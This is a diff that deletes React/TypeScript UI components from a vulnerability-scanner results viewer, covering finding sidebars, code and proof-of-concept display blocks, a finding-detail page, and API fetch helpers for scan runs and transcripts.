<span className={`inline-flex items-center px-2 py-0.5 text-[11px] font-medium rounded-full border ${FIX_EFFORT_META[fix_effort as FixEffort]?.color ?? "text-[#666]"}`}>
|
||||
{fix_effort.charAt(0).toUpperCase() + fix_effort.slice(1)}
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Discovered */}
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">Discovered</span>
|
||||
<div className="flex items-center gap-1.5">
|
||||
<Clock className="w-3 h-3 text-[#444]" aria-hidden="true" />
|
||||
<span className="text-sm text-white">{formatTimeAgo(created_at)}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Status */}
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">Status</span>
|
||||
{statusSlot}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* ─── Asset ─── */}
|
||||
{hasAsset && (
|
||||
<div className="border-t border-[#191919] pt-4 pb-4">
|
||||
<p className="text-xs font-medium text-[#aaa] mb-2.5">Asset</p>
|
||||
<div className="space-y-2.5">
|
||||
{target && parsed && (
|
||||
<div className="flex items-center gap-1.5">
|
||||
{parsed.provider ? (
|
||||
<span className="flex-shrink-0 [&_svg]:w-3.5 [&_svg]:h-3.5" aria-hidden="true">
|
||||
<ProviderIcon provider={parsed.provider} />
|
||||
</span>
|
||||
) : (
|
||||
<Globe className="w-3.5 h-3.5 text-[#555] flex-shrink-0" aria-hidden="true" />
|
||||
)}
|
||||
{parsed.href ? (
|
||||
<a
|
||||
href={parsed.href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-white hover:text-[#ccc] break-words min-w-0 transition-colors"
|
||||
>
|
||||
{parsed.display}
|
||||
</a>
|
||||
) : (
|
||||
<span className="text-sm text-white break-words min-w-0">{parsed.display}</span>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
{endpoint && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">Endpoint</span>
|
||||
<span className="text-xs text-white font-mono truncate max-w-[75%] text-right">{endpoint}</span>
|
||||
</div>
|
||||
)}
|
||||
{method && (
|
||||
<div className="flex items-center justify-between">
|
||||
<span className="text-xs text-[#aaa]">Method</span>
|
||||
<span className="text-xs text-white font-mono">{method}</span>
|
||||
</div>
|
||||
)}
|
||||
{hasLocations && (
|
||||
<div>
|
||||
<span className="text-xs text-[#aaa] mb-1.5 block">Locations</span>
|
||||
<div className="space-y-0.5">
|
||||
{fixLocations!.map((loc, i) => {
|
||||
const label = `${loc.file}:${loc.start_line}`;
|
||||
const href = location_meta
|
||||
? buildLocationHref(location_meta.repo_url, location_meta.provider, location_meta.branch, loc.file, loc.start_line)
|
||||
: null;
|
||||
return href ? (
|
||||
<a
|
||||
key={`loc-${i}`}
|
||||
href={href}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-[13px] text-[#888] hover:text-white font-mono break-all transition-colors block"
|
||||
>
|
||||
{label}
|
||||
</a>
|
||||
) : (
|
||||
<span key={`loc-${i}`} className="text-[13px] text-[#888] font-mono break-all block">
|
||||
{label}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ─── Risk Assessment (human-friendly CVSS) ─── */}
|
||||
{hasBreakdown && (
|
||||
<div className="border-t border-[#191919] pt-4">
|
||||
<button
|
||||
onClick={() => setRiskOpen(!riskOpen)}
|
||||
className="flex items-center justify-between w-full mb-2.5 group"
|
||||
aria-expanded={riskOpen}
|
||||
>
|
||||
<span className="text-xs font-medium text-[#aaa]">Risk Assessment</span>
|
||||
<ChevronDown className={`w-3.5 h-3.5 text-[#555] group-hover:text-white transition-transform ${riskOpen ? "" : "-rotate-90"}`} aria-hidden="true" />
|
||||
</button>
|
||||
<div className={`space-y-3 ${riskOpen ? "" : "hidden"}`}>
|
||||
{FACTOR_GROUPS.map((group) => {
|
||||
const factors = group.keys.filter(
|
||||
(k) => (cvss_breakdown as unknown as Record<string, string | null>)[k] != null
|
||||
);
|
||||
if (factors.length === 0) return null;
|
||||
return (
|
||||
<div key={group.label}>
|
||||
<div className="flex items-center justify-between mb-1.5">
|
||||
<p className="text-[10px] uppercase tracking-wider text-[#444] font-medium">
|
||||
{group.label}
|
||||
</p>
|
||||
<p className="text-[10px] uppercase tracking-wider text-[#444] font-medium mr-2">
|
||||
Risk
|
||||
</p>
|
||||
</div>
|
||||
<div className="space-y-1">
|
||||
{factors.map((key) => {
|
||||
const raw = (cvss_breakdown as unknown as Record<string, string | null>)[key];
|
||||
const level = raw ? (RISK_LEVEL[key]?.[raw] ?? "low") : "low";
|
||||
const label = raw ? (HUMAN_LABELS[key]?.[raw] ?? raw) : "N/A";
|
||||
return (
|
||||
<div key={key} className="flex items-center justify-between py-0.5">
|
||||
<span className="text-[12px] text-[#aaa]">{label}</span>
|
||||
<span className={`text-[10px] font-medium px-1.5 py-0.5 rounded border ${RISK_BADGE[level]}`}>
|
||||
{level}
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</aside>
|
||||
);
|
||||
}
|
||||
@@ -1,141 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import hljs from "@/lib/hljs";
|
||||
import "highlight.js/styles/github-dark.css";
|
||||
import { Copy, Check } from "lucide-react";
|
||||
import { copyToClipboard } from "@/lib/vulnerability-utils";
|
||||
|
||||
export function MdCodeBlock({
|
||||
className,
|
||||
children,
|
||||
node,
|
||||
}: {
|
||||
className?: string;
|
||||
children?: React.ReactNode;
|
||||
node?: { data?: { meta?: string }; properties?: { metastring?: string } };
|
||||
}) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
const raw = String(children).replace(/\n$/, "");
|
||||
const match = /language-(\w+)/.exec(className || "");
|
||||
const isBlock = raw.includes("\n") || match;
|
||||
|
||||
if (!isBlock) {
|
||||
return <code className={`${className || ""} bg-white/8 px-1.5 py-0.5 rounded text-[13px]`}>{children}</code>;
|
||||
}
|
||||
|
||||
const meta = node?.data?.meta || node?.properties?.metastring || "";
|
||||
const titleMatch = /title=["']?([^"'\s}]+)["']?/.exec(meta);
|
||||
const startMatch = /startLineNumber=(\d+)/.exec(meta);
|
||||
const fileName = titleMatch?.[1] || null;
|
||||
const startLine = startMatch ? parseInt(startMatch[1], 10) : 1;
|
||||
const headerLabel = fileName
|
||||
? startMatch
|
||||
? `${fileName}:${startLine}`
|
||||
: fileName
|
||||
: null;
|
||||
|
||||
let highlighted: string;
|
||||
if (match) {
|
||||
try {
|
||||
highlighted = hljs.highlight(raw, { language: match[1], ignoreIllegals: true }).value;
|
||||
} catch {
|
||||
highlighted = hljs.highlightAuto(raw).value;
|
||||
}
|
||||
} else {
|
||||
highlighted = hljs.highlightAuto(raw).value;
|
||||
}
|
||||
|
||||
const lines = highlighted.split("\n");
|
||||
|
||||
const copy = () => {
|
||||
copyToClipboard(raw);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="group/code relative rounded-md border border-[#2a2a2a] my-4 text-[#ddd] overflow-hidden">
|
||||
{headerLabel ? (
|
||||
<div className="flex items-stretch">
|
||||
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a]">{headerLabel}<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" /></span>
|
||||
<div className="flex-1 border-b border-[#2a2a2a]" />
|
||||
<button
|
||||
onClick={copy}
|
||||
className="px-3 py-2 text-[#555] hover:text-white transition-colors border-b border-[#2a2a2a]"
|
||||
aria-label="Copy code"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="w-3.5 h-3.5 text-emerald-400" />
|
||||
) : (
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
) : (
|
||||
<button
|
||||
onClick={copy}
|
||||
className="absolute top-2 right-2 z-10 p-1 rounded text-[#444] hover:text-white opacity-0 group-hover/code:opacity-100 transition-opacity"
|
||||
aria-label="Copy code"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="w-3.5 h-3.5 text-emerald-400" />
|
||||
) : (
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
)}
|
||||
</button>
|
||||
)}
|
||||
<div className="overflow-auto max-h-[400px]">
|
||||
<table className="w-full border-collapse font-mono text-[12px] leading-[22px] [font-variant-ligatures:none]">
|
||||
<tbody>
|
||||
{lines.map((line, i) => (
|
||||
<tr key={i}>
|
||||
<td className="select-none w-[1px] whitespace-nowrap px-4 text-right text-[#555] align-top text-[12px] leading-[22px] border-r border-[#2a2a2a]">
|
||||
{startLine + i}
|
||||
</td>
|
||||
<td
|
||||
className="pl-4 pr-4 whitespace-pre"
|
||||
dangerouslySetInnerHTML={{ __html: line || "\n" }}
|
||||
/>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// rehype plugin: pass code fence meta string through to code element properties
|
||||
type HastNode = {
|
||||
type: string;
|
||||
tagName?: string;
|
||||
children?: HastNode[];
|
||||
properties?: Record<string, unknown>;
|
||||
data?: { meta?: string };
|
||||
};
|
||||
|
||||
export function rehypeCodeMeta() {
|
||||
return (tree: HastNode) => {
|
||||
const visit = (node: HastNode) => {
|
||||
if (node.type === "element" && node.tagName === "pre" && node.children) {
|
||||
const codeEl = node.children.find(
|
||||
(c) => c.type === "element" && c.tagName === "code"
|
||||
);
|
||||
if (codeEl?.data?.meta) {
|
||||
codeEl.properties = codeEl.properties || {};
|
||||
codeEl.properties.metastring = codeEl.data.meta;
|
||||
}
|
||||
}
|
||||
if (node.children) {
|
||||
node.children.forEach((child) => visit(child));
|
||||
}
|
||||
};
|
||||
visit(tree);
|
||||
};
|
||||
}
|
||||
|
||||
export const mdComponents = {
|
||||
code: MdCodeBlock as React.ComponentType<React.HTMLAttributes<HTMLElement>>,
|
||||
pre: ({ children }: { children?: React.ReactNode }) => <>{children}</>,
|
||||
};
|
||||
@@ -1,77 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import hljs from "@/lib/hljs";
|
||||
import "highlight.js/styles/github-dark.css";
|
||||
import ReactMarkdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import { Copy, Check } from "lucide-react";
|
||||
import { copyToClipboard } from "@/lib/vulnerability-utils";
|
||||
import { rehypeCodeMeta, mdComponents } from "./MdCodeBlock";
|
||||
|
||||
interface PocBlockProps {
|
||||
description?: string | null;
|
||||
scriptCode?: string | null;
|
||||
onCopy?: () => void;
|
||||
}
|
||||
|
||||
export function PocBlock({ description, scriptCode, onCopy }: PocBlockProps) {
|
||||
const [copied, setCopied] = useState(false);
|
||||
|
||||
if (!description && !scriptCode) return null;
|
||||
|
||||
const copy = () => {
|
||||
if (!scriptCode) return;
|
||||
copyToClipboard(scriptCode);
|
||||
setCopied(true);
|
||||
setTimeout(() => setCopied(false), 2000);
|
||||
onCopy?.();
|
||||
};
|
||||
|
||||
return (
|
||||
<section>
|
||||
<h2 className="text-xl font-semibold text-white mb-3">Proof of Concept</h2>
|
||||
<div className="space-y-4">
|
||||
{description && (
|
||||
<div className="prose-markdown">
|
||||
<ReactMarkdown
|
||||
remarkPlugins={[remarkGfm]}
|
||||
rehypePlugins={[rehypeCodeMeta]}
|
||||
components={mdComponents}
|
||||
>
|
||||
{description}
|
||||
</ReactMarkdown>
|
||||
</div>
|
||||
)}
|
||||
{scriptCode && (
|
||||
<div className="group/poc relative rounded-md border border-[#2a2a2a] overflow-hidden">
|
||||
<div className="flex items-stretch">
|
||||
<span className="relative flex items-center text-[13px] text-[#999] font-mono px-4 py-2 border-r border-[#2a2a2a]">PoC Script<span className="absolute top-0 inset-x-0 h-0.5 bg-white/60 rounded-full" /></span>
|
||||
<div className="flex-1 border-b border-[#2a2a2a]" />
|
||||
<button
|
||||
onClick={copy}
|
||||
className="px-3 py-2 text-[#555] hover:text-white transition-colors flex-shrink-0 border-b border-[#2a2a2a]"
|
||||
aria-label="Copy PoC code"
|
||||
>
|
||||
{copied ? (
|
||||
<Check className="w-3.5 h-3.5 text-emerald-400" />
|
||||
) : (
|
||||
<Copy className="w-3.5 h-3.5" />
|
||||
)}
|
||||
</button>
|
||||
</div>
|
||||
<div className="overflow-auto max-h-[400px] px-4 py-3">
|
||||
<pre className="font-mono text-[12px] leading-[22px] whitespace-pre [font-variant-ligatures:none]">
|
||||
<code
|
||||
dangerouslySetInnerHTML={{
|
||||
__html: hljs.highlight(scriptCode, { language: "python" }).value,
|
||||
}}
|
||||
/>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -1,265 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import React, { useState } from "react";
|
||||
import { Clock, CheckCircle2, Ban, History, BellOff, Wrench, GitMerge } from "lucide-react";
|
||||
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
import { Vulnerability, VulnerabilityStatus, SEVERITY_COLORS, STATUS_META, isSeverityOverridden } from "@/types/issues";
|
||||
import { formatTimeAgo } from "@/lib/utils";
|
||||
import { getSeverityDot } from "@/lib/vulnerability-utils";
|
||||
import { formatStrixId } from "@/lib/display-number";
|
||||
import { ContentSection } from "@/components/vulnerability/ContentSection";
|
||||
import { CodeDiffBlock } from "@/components/vulnerability/CodeDiffBlock";
|
||||
import { PocBlock } from "@/components/vulnerability/PocBlock";
|
||||
import { IssueSidebar } from "@/components/vulnerability/IssueSidebar";
|
||||
|
||||
function bannerTime(dateString: string | null): string {
|
||||
if (!dateString) return "";
|
||||
const diffInSeconds = Math.floor((Date.now() - new Date(dateString).getTime()) / 1000);
|
||||
if (diffInSeconds < 604800) return ` ${formatTimeAgo(dateString)}`;
|
||||
return ` on ${formatTimeAgo(dateString)}`;
|
||||
}
|
||||
|
||||
const STATUS_BANNER: Record<VulnerabilityStatus, { icon: React.ElementType; label: string; iconColor: string } | null> = {
|
||||
open: null,
|
||||
in_progress: { icon: Clock, label: "Marked as In Progress", iconColor: "text-blue-400" },
|
||||
snoozed: { icon: BellOff, label: "Snoozed", iconColor: "text-purple-400" },
|
||||
fixed: { icon: CheckCircle2, label: "Marked as Fixed", iconColor: "text-emerald-400" },
|
||||
ignored: { icon: Ban, label: "Marked as Ignored", iconColor: "text-[#888]" },
|
||||
};
|
||||
|
||||
type BottomTab = "fix" | "reproduction";
|
||||
|
||||
// Team-workflow actions shown top-right of the finding header; each links out
|
||||
// to sign-up. `requiresCode` actions only appear when the finding has concrete
|
||||
// code locations to act on -- an autofix PR makes no sense for a black-box
|
||||
// finding with no code to change.
|
||||
const WORKFLOW_CTAS: { label: string; slug: string; icon: React.ElementType; requiresCode?: boolean }[] = [
|
||||
{ label: "Auto-fix & open a PR", slug: "autofix", icon: Wrench, requiresCode: true },
|
||||
{ label: "Sync to Jira / Linear", slug: "integrations", icon: GitMerge },
|
||||
];
|
||||
|
||||
interface VulnerabilityDetailProps {
|
||||
vulnerability: Vulnerability;
|
||||
}
|
||||
|
||||
/**
|
||||
* Self-contained finding detail (header + status banners + content grid),
|
||||
* without page chrome. Shared by the public /share/issues page and the local
|
||||
* /results view so both render findings identically.
|
||||
*/
|
||||
export default function VulnerabilityDetail({ vulnerability }: VulnerabilityDetailProps) {
|
||||
const currentMeta = STATUS_META[vulnerability.status];
|
||||
const hasCodeLocations = vulnerability.code_locations && vulnerability.code_locations.length > 0;
|
||||
const hasFix = hasCodeLocations || vulnerability.remediation_steps;
|
||||
const hasReproduction = !!(vulnerability.evidence || vulnerability.assumptions || vulnerability.poc_description || vulnerability.poc_script_code);
|
||||
|
||||
const [activeTab, setActiveTab] = useState<BottomTab>("fix");
|
||||
|
||||
const bottomTabs: { id: BottomTab; label: string; show: boolean }[] = [
|
||||
{ id: "fix", label: "Fix", show: !!hasFix },
|
||||
{ id: "reproduction", label: "Reproduction", show: hasReproduction },
|
||||
];
|
||||
const visibleTabs = bottomTabs.filter((t) => t.show);
|
||||
|
||||
return (
|
||||
<div className="space-y-6">
|
||||
{/* Header: title/badges on the left, workflow actions top-right. */}
|
||||
<div className="flex flex-wrap items-start justify-between gap-4">
|
||||
<div className="min-w-0 flex-1">
|
||||
<div className="mb-2">
|
||||
{vulnerability.display_number && (
|
||||
<span className="text-xs font-mono text-[#555] block mb-1">
|
||||
{formatStrixId(vulnerability.display_number)}
|
||||
</span>
|
||||
)}
|
||||
<h1 className="text-2xl font-semibold text-white">{vulnerability.title}</h1>
|
||||
</div>
|
||||
<div className="flex flex-wrap items-center gap-3">
|
||||
<span className={`inline-flex items-center gap-1.5 px-3 py-1 text-sm font-medium rounded-full border ${currentMeta.color}`}>
|
||||
{currentMeta.label}
|
||||
</span>
|
||||
<div
|
||||
className={`inline-flex items-center gap-1.5 px-3 py-1 text-sm font-semibold rounded-full border ${SEVERITY_COLORS[vulnerability.severity]}`}
|
||||
title={isSeverityOverridden(vulnerability) ? `Adjusted from ${vulnerability.original_severity}` : undefined}
|
||||
>
|
||||
<div className={`w-2 h-2 rounded-full ${getSeverityDot(vulnerability.severity)}`} />
|
||||
<span className="capitalize">
|
||||
{vulnerability.severity}
|
||||
{!isSeverityOverridden(vulnerability) && vulnerability.cvss ? ` ${vulnerability.cvss}` : ""}
|
||||
</span>
|
||||
{isSeverityOverridden(vulnerability) && (
|
||||
<History className="w-3 h-3 opacity-70" aria-hidden="true" />
|
||||
)}
|
||||
</div>
|
||||
{vulnerability.cve && (
|
||||
<>
|
||||
<span className="text-[#333]">·</span>
|
||||
<span className="text-sm text-[#666] font-mono">{vulnerability.cve}</span>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-shrink-0 flex-wrap items-center gap-2">
|
||||
{WORKFLOW_CTAS.filter((cta) => !cta.requiresCode || hasCodeLocations).map((cta) => {
|
||||
const Icon = cta.icon;
|
||||
return (
|
||||
<a
|
||||
key={cta.slug}
|
||||
href={ctaUrl(SIGNUP_URL, cta.slug)}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta(cta.slug, "finding_detail")}
|
||||
className="inline-flex items-center gap-1.5 rounded-lg bg-white px-3 py-1.5 text-xs font-semibold text-black transition-opacity hover:opacity-90"
|
||||
>
|
||||
<Icon className="h-3.5 w-3.5" aria-hidden="true" />
|
||||
{cta.label}
|
||||
</a>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Status banner */}
|
||||
{vulnerability.status !== "open" && (() => {
|
||||
const banner = STATUS_BANNER[vulnerability.status];
|
||||
if (!banner) return null;
|
||||
const BannerIcon = banner.icon;
|
||||
return (
|
||||
<div className="rounded-lg px-4 py-3.5 flex gap-3" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
|
||||
<BannerIcon className={`w-5 h-5 flex-shrink-0 mt-0.5 ${banner.iconColor}`} aria-hidden="true" />
|
||||
<div className="min-w-0">
|
||||
<p className="text-sm font-semibold text-white">
|
||||
{banner.label}{bannerTime(vulnerability.status_changed_at)}
|
||||
</p>
|
||||
{vulnerability.status_note && (
|
||||
<p className="text-sm text-[#666] italic mt-1">
|
||||
“{vulnerability.status_note}”
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
})()}
|
||||
|
||||
{/* Severity override banner */}
|
||||
{isSeverityOverridden(vulnerability) && (
|
||||
<div className="rounded-lg px-4 py-3.5 flex gap-3" style={{ border: "1px solid rgba(255,255,255,0.08)" }}>
|
||||
<History className="w-5 h-5 flex-shrink-0 mt-0.5 text-orange-400" aria-hidden="true" />
|
||||
<div className="min-w-0">
|
||||
<p className="text-sm font-semibold text-white">
|
||||
Severity changed manually from{" "}
|
||||
<span className="capitalize">{vulnerability.original_severity}</span>
|
||||
{vulnerability.cvss != null ? ` (${vulnerability.cvss})` : ""} to{" "}
|
||||
<span className="capitalize">{vulnerability.severity}</span>
|
||||
{bannerTime(vulnerability.severity_changed_at)}
|
||||
</p>
|
||||
{vulnerability.severity_override_reason && (
|
||||
<p className="text-sm text-[#666] italic mt-1">
|
||||
“{vulnerability.severity_override_reason}”
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Content grid */}
|
||||
<div className="grid grid-cols-1 lg:grid-cols-[1fr_340px] gap-8">
|
||||
{/* Main content */}
|
||||
<div className="min-w-0">
|
||||
<div className="space-y-8">
|
||||
<ContentSection title="TL;DR" content={vulnerability.description} />
|
||||
|
||||
{vulnerability.impact && <ContentSection title="Impact" content={vulnerability.impact} />}
|
||||
|
||||
{vulnerability.technical_analysis && (
|
||||
<ContentSection title="Technical Details" content={vulnerability.technical_analysis} />
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Bottom tabs */}
|
||||
{visibleTabs.length > 0 && (
|
||||
<div className="mt-10">
|
||||
<div className="border-b border-[#2a2a2a]">
|
||||
<nav className="flex gap-6" aria-label="Tabs">
|
||||
{visibleTabs.map((tab) => (
|
||||
<button
|
||||
key={tab.id}
|
||||
onClick={() => setActiveTab(tab.id)}
|
||||
className={`relative min-w-[80px] text-center pb-3 text-[16px] font-semibold transition-colors ${
|
||||
activeTab === tab.id
|
||||
? "text-white"
|
||||
: "text-[#666] hover:text-white"
|
||||
}`}
|
||||
aria-current={activeTab === tab.id ? "page" : undefined}
|
||||
>
|
||||
{tab.label}
|
||||
{activeTab === tab.id && (
|
||||
<span className="absolute bottom-0 inset-x-0 h-0.5 bg-white rounded-full" />
|
||||
)}
|
||||
</button>
|
||||
))}
|
||||
</nav>
|
||||
</div>
|
||||
|
||||
{/* Fix tab */}
|
||||
{hasFix && (
|
||||
<div className={`pt-6 space-y-6 ${activeTab === "fix" ? "animate-tab-in" : "hidden"}`}>
|
||||
{vulnerability.remediation_steps && (
|
||||
<ContentSection title="How do I fix it?" content={vulnerability.remediation_steps} />
|
||||
)}
|
||||
|
||||
{hasCodeLocations &&
|
||||
vulnerability.code_locations!
|
||||
.filter((loc) => loc.fix_before && loc.fix_after)
|
||||
.map((loc, i) => (
|
||||
<CodeDiffBlock
|
||||
key={`fix-${i}`}
|
||||
file={loc.file}
|
||||
startLine={loc.start_line}
|
||||
endLine={loc.end_line}
|
||||
before={loc.fix_before!}
|
||||
after={loc.fix_after!}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Reproduction tab */}
|
||||
{hasReproduction && (
|
||||
<div className={`pt-6 space-y-8 ${activeTab === "reproduction" ? "animate-tab-in" : "hidden"}`}>
|
||||
{vulnerability.assumptions && (
|
||||
<ContentSection title="Assumptions" content={vulnerability.assumptions} />
|
||||
)}
|
||||
|
||||
{vulnerability.evidence && (
|
||||
<ContentSection title="Evidence" content={vulnerability.evidence} />
|
||||
)}
|
||||
|
||||
<PocBlock
|
||||
description={vulnerability.poc_description}
|
||||
scriptCode={vulnerability.poc_script_code}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Sidebar */}
|
||||
<div className="lg:border-l lg:border-[#2a2a2a] lg:pl-6">
|
||||
<IssueSidebar
|
||||
vulnerability={vulnerability}
|
||||
statusSlot={
|
||||
<span className={`inline-flex items-center gap-1.5 px-2.5 py-1 text-xs font-medium rounded-full border ${currentMeta.color}`}>
|
||||
<div className={`w-1.5 h-1.5 rounded-full ${currentMeta.dotColor}`} />
|
||||
{currentMeta.label}
|
||||
</span>
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,251 +0,0 @@
|
||||
import type { Vulnerability } from "@/types/issues";
|
||||
import {
|
||||
parseRunJson,
|
||||
parseVulnerabilitiesJson,
|
||||
type ParsedRunSummary,
|
||||
} from "@/lib/local-run-parser";
|
||||
|
||||
/**
|
||||
* Data seam for the local viewer: fetches against the local Python server's
|
||||
* JSON endpoints (same origin, relative URLs), producing the in-memory
|
||||
* `LoadedRun` shape the UI renders plus a `finished` flag driving live polling.
|
||||
*
|
||||
* The server serves a live in-progress run and a finished one identically; the
|
||||
* only signal is `run.finished`.
|
||||
*/
|
||||
|
||||
/** A transcript agent as emitted by GET /api/transcript (already parsed). */
|
||||
export interface TranscriptAgent {
|
||||
id: string;
|
||||
name: string;
|
||||
parent_id: string | null;
|
||||
status: string;
|
||||
created_at: string;
|
||||
updated_at: string;
|
||||
}
|
||||
|
||||
/** Chat/tool event data as emitted by GET /api/transcript. */
|
||||
export interface TranscriptEvent {
|
||||
id: string;
|
||||
type: "chat" | "tool";
|
||||
agent_id: string;
|
||||
timestamp: string;
|
||||
version: number;
|
||||
data: Record<string, unknown>;
|
||||
}
|
||||
|
||||
export interface Transcript {
|
||||
agents: TranscriptAgent[];
|
||||
events: TranscriptEvent[];
|
||||
}
|
||||
|
||||
export interface LoadedRun {
|
||||
summary: ParsedRunSummary;
|
||||
/** Whole raw run record (for llm_usage, targets_info details, etc.). */
|
||||
raw: Record<string, unknown>;
|
||||
finished: boolean;
|
||||
vulnerabilities: Vulnerability[];
|
||||
reportMarkdown: string | null;
|
||||
transcript: Transcript;
|
||||
}
|
||||
|
||||
async function getJson(path: string): Promise<unknown> {
|
||||
const res = await fetch(path, { cache: "no-store" });
|
||||
if (!res.ok) throw new Error(`${path} responded ${res.status}`);
|
||||
return res.json();
|
||||
}
|
||||
|
||||
/** Build a ``?run=<name>`` suffix for run-scoped data endpoints. */
|
||||
function runQuery(runName?: string | null): string {
|
||||
return runName ? `?run=${encodeURIComponent(runName)}` : "";
|
||||
}
|
||||
|
||||
export async function fetchRunSummary(runName?: string | null): Promise<{
|
||||
summary: ParsedRunSummary;
|
||||
raw: Record<string, unknown>;
|
||||
finished: boolean;
|
||||
}> {
|
||||
const raw = (await getJson("/api/run" + runQuery(runName))) as Record<string, unknown>;
|
||||
// parseRunJson tolerates extra keys and takes raw TEXT.
|
||||
const summary = parseRunJson(JSON.stringify(raw));
|
||||
const finished = raw.finished === true;
|
||||
return { summary, raw, finished };
|
||||
}
|
||||
|
||||
export async function fetchVulnerabilities(
|
||||
runId: string | null,
|
||||
runName?: string | null
|
||||
): Promise<Vulnerability[]> {
|
||||
const arr = await getJson("/api/vulnerabilities" + runQuery(runName));
|
||||
return parseVulnerabilitiesJson(JSON.stringify(arr), runId);
|
||||
}
|
||||
|
||||
export async function fetchReportMarkdown(runName?: string | null): Promise<string | null> {
|
||||
const obj = (await getJson("/api/report" + runQuery(runName))) as { markdown?: string };
|
||||
return obj?.markdown ?? null;
|
||||
}
|
||||
|
||||
export async function fetchTranscript(runName?: string | null): Promise<Transcript> {
|
||||
const obj = (await getJson("/api/transcript" + runQuery(runName))) as Partial<Transcript>;
|
||||
return {
|
||||
agents: Array.isArray(obj?.agents) ? obj.agents : [],
|
||||
events: Array.isArray(obj?.events) ? obj.events : [],
|
||||
};
|
||||
}
|
||||
|
||||
/** One-shot fetch of every endpoint (used on mount and on final settle). */
|
||||
export async function fetchAll(runName?: string | null): Promise<LoadedRun> {
|
||||
const { summary, raw, finished } = await fetchRunSummary(runName);
|
||||
const [vulnerabilities, reportMarkdown, transcript] = await Promise.all([
|
||||
fetchVulnerabilities(summary.runId, runName).catch(() => [] as Vulnerability[]),
|
||||
fetchReportMarkdown(runName).catch(() => null),
|
||||
fetchTranscript(runName).catch(() => ({ agents: [], events: [] }) as Transcript),
|
||||
]);
|
||||
return { summary, raw, finished, vulnerabilities, reportMarkdown, transcript };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Run history + email auth + report send
|
||||
//
|
||||
// These endpoints back the "Your runs" sidebar section. Auth and report-send
|
||||
// responses carry a meaningful JSON body on non-2xx statuses (an ``error``
|
||||
// code), so they read the body regardless of status rather than throwing.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
export interface RunSeverityCounts {
|
||||
critical: number;
|
||||
high: number;
|
||||
medium: number;
|
||||
low: number;
|
||||
}
|
||||
|
||||
export interface RunListEntry {
|
||||
name: string;
|
||||
target: string | null;
|
||||
scan_mode: string | null;
|
||||
status: string | null;
|
||||
start_time: string | null;
|
||||
end_time: string | null;
|
||||
finished: boolean;
|
||||
severity_counts: RunSeverityCounts;
|
||||
}
|
||||
|
||||
export interface RunsPayload {
|
||||
locked: boolean;
|
||||
count: number;
|
||||
runs: RunListEntry[];
|
||||
}
|
||||
|
||||
export interface AuthStatus {
|
||||
verified: boolean;
|
||||
email: string | null;
|
||||
}
|
||||
|
||||
export type OtpStartResult = { ok: true } | { ok: false; error: string };
|
||||
export type OtpVerifyResult =
|
||||
| { verified: true; email: string }
|
||||
| { verified: false; error: string };
|
||||
export type SendReportResult =
|
||||
| { ok: true; password: string; filename: string }
|
||||
| { ok: false; error: string };
|
||||
|
||||
async function postJson(
|
||||
path: string,
|
||||
body: Record<string, unknown>
|
||||
): Promise<{ ok: boolean; status: number; data: Record<string, unknown> }> {
|
||||
const res = await fetch(path, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(body),
|
||||
cache: "no-store",
|
||||
});
|
||||
let data: Record<string, unknown> = {};
|
||||
try {
|
||||
